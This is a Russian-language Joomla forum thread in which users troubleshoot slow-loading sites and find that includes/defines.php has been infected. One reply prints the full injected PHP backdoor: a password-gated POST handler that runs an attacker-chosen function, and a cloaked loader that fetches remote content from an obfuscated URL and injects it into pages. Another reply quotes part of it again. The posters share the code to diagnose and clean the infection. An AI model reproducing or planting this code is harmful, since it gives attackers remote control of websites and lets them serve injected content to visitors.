0 Пользователей и 1 Гость просматривают эту тему.
  • 28 Ответов
  • 4914 Просмотров
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Долго грузится сайт
« : 03.02.2016, 22:58:16 »
Долго грузится сайт, проблема началась пару дней назад.
Вот что пишет поддержка хостинга:
Спойлер
[свернуть]
помогите пожалуйста
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #1 : 04.02.2016, 10:05:25 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #2 : 04.02.2016, 14:19:45 »
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Долго грузится сайт
« Ответ #3 : 04.02.2016, 14:48:30 »
Отключить запись сессий в базу данных, в общих настройках Joomla
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #4 : 04.02.2016, 16:46:07 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
Ничего не делал только новости добавлял.
Посещаемость  сейчас еще меньше стала.
записи в логах последние за 2015г
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
ничего не нашел
Отключить запись сессий в базу данных, в общих настройках Joomla
отключал еще дольше грузится
« Последнее редактирование: 04.02.2016, 16:49:54 от gorodok »
*

b2z

  • Глобальный модератор
  • 7290
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #5 : 05.02.2016, 10:05:14 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #6 : 05.02.2016, 10:50:11 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
Включил отладку системы посмотрите сайт указан у меня в профиле
*

b2z

  • Глобальный модератор
  • 7290
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #7 : 05.02.2016, 12:00:49 »
Ну вот теперь посмотрите - все модули, которые дают красные показатели надо поочерёдно отрубать и смотреть, как это будет влиять на загрузку. И 197 запросов на главной, это конечно много.
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #8 : 05.02.2016, 19:13:33 »
Скорей всего нагружает mod_news_pro_gk5
вот его запросы самые большие
Код
195 .Время запроса: 9816.44 ms После последнего запроса: 34.32 ms
SELECT
c.id AS CID

  FROM
urp9y_categories AS c

  LEFT JOIN
urp9y_content AS content

  ON
c.id = content.catid


  WHERE
1=1

  AND ( c.id = 11)

  AND
c.extension = 'com_content'
  AND
c.published = 1
и еще

Код
196 .Время запроса: 18.54 ms После последнего запроса: 11.81 ms

*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #9 : 05.02.2016, 20:25:10 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #10 : 05.02.2016, 20:31:49 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
Мда, а что за хостер у вас?

Ради эксперимента и только ради него: слейте с хостинга все файлы, слейте базу (сделайте полный бекап). Затем удалите все оттуда - и файлы, и базу. Скачайте отсюда вашу версию Joomla и установите на хостинг. Проверьте, как работает. Если нормально - ищите проблемы в своей сборке, если так же тормозит - ищите хостера.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #11 : 05.02.2016, 20:46:36 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #12 : 05.02.2016, 21:02:32 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
Ну какая реклама с такими то багами )) Пишите, думаю модераторы не осерчают )) И сделайте эксперимент, как я писал, чисто ради интереса. Может хостер и ни при чем, может это у вас сайт в ддос-кластере уже... ))
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #13 : 06.02.2016, 22:42:35 »
Я с той же проблемой. Проблемы начались после обновления. Пару сайтов на отдельном ВДС. Один на хостинге.
Сайты с разными шаблонами и плагинами.
K2, и JBzoo
Странички грузятся по 10 секунд. Это не допустимо же!
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Долго грузится сайт
« Ответ #14 : 07.02.2016, 09:16:59 »
Странички грузятся по 10 секунд. Это не допустимо же!

А сайты покажете?
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #15 : 07.02.2016, 14:05:41 »
А сайты покажете?
В чем проблема нашла.
Взяла откатила до предидущей версии и поэтапно заливала файлы.
Проблема нашлась в файле defines.php  в папке includes .
И так на всех сайтах.
Стали по прежнему летать.
В чем там баг. Я не знаю. Не програмистка. Хотя давно уже пора :)
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Долго грузится сайт
« Ответ #16 : 07.02.2016, 18:41:37 »
Возможно взломали. Файлы не покажете, те что отличались?
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #17 : 08.02.2016, 00:39:01 »
То что сейчас ниже код. Если поставить свежее обновление (конкретно новый) то начинает тормозить

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
*

voland

  • Легенда
  • 11030
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Долго грузится сайт
« Ответ #18 : 08.02.2016, 03:37:46 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
И никто не ответил
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #19 : 09.02.2016, 12:24:04 »
Возможно взломали. Файлы не покажете, те что отличались?

Вот код. Явно вирусняк:

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6)!= '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $url = decrypt_url('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #20 : 09.02.2016, 12:27:00 »
В чем проблема нашла.
Не нашла. Иначе бы больше такого кода на сайте небыло.

Код: php
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '')

Знакомая конструкция... Уже многим глаза и нервы проела...
« Последнее редактирование: 09.02.2016, 12:30:42 от SeBun »
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #21 : 09.02.2016, 14:59:12 »
Менять пароли?
И как она велась в код?
Права 644 ведь
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #22 : 09.02.2016, 15:25:19 »
Менять пароли?
И как она велась в код?
Права 644 ведь
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #23 : 09.02.2016, 17:05:29 »
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Так а ка такое могло произойти?
Шаблоны официальные, Расширения тоже. Обновления сразу же ставим...
*

jlend

  • Осваиваюсь на форуме
  • 34
  • 3 / 0
Re: Долго грузится сайт
« Ответ #24 : 09.02.2016, 21:09:28 »
Обновления сразу же ставим...
Не успели.
Пас подобрали.
и др.
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Долго грузится сайт
« Ответ #25 : 10.02.2016, 00:48:36 »
Шелл может менять права под своим пользователем. Чистить надо все и сайты разделять.
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #26 : 10.02.2016, 10:40:08 »
в j3 вообще должны быть base64_decode ?
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Долго грузится сайт
« Ответ #27 : 10.02.2016, 10:56:40 »
Могут быть. Отчего же нет. В самом дистрибутиве не помню, а в компонентах частенько используется.
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #28 : 10.02.2016, 11:26:15 »
в j3 вообще должны быть base64_decode ?
Есть в самом дистрибутиве. Не стоит удалять все подряд.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Google Переводчик не переводит сайт

Автор Aqua

Ответов: 1
Просмотров: 506
Последний ответ 04.03.2024, 12:50:00
от kovAlexandr78
Долго грузятся страницы категорий

Автор SuperRomario

Ответов: 4
Просмотров: 1507
Последний ответ 03.07.2023, 17:59:07
от Wood
Администрирую и редактирую сайт на CMS Joomla. Вопросы про настройки CMS

Автор admi5575

Ответов: 4
Просмотров: 551
Последний ответ 10.05.2023, 09:02:29
от admi5575
Не работает сайт на локалке

Автор leha111

Ответов: 25
Просмотров: 29615
Последний ответ 23.03.2023, 12:00:55
от Akeksandr
Тормозит сайт

Автор vasya99

Ответов: 12
Просмотров: 719
Последний ответ 10.12.2022, 10:37:32
от marksetter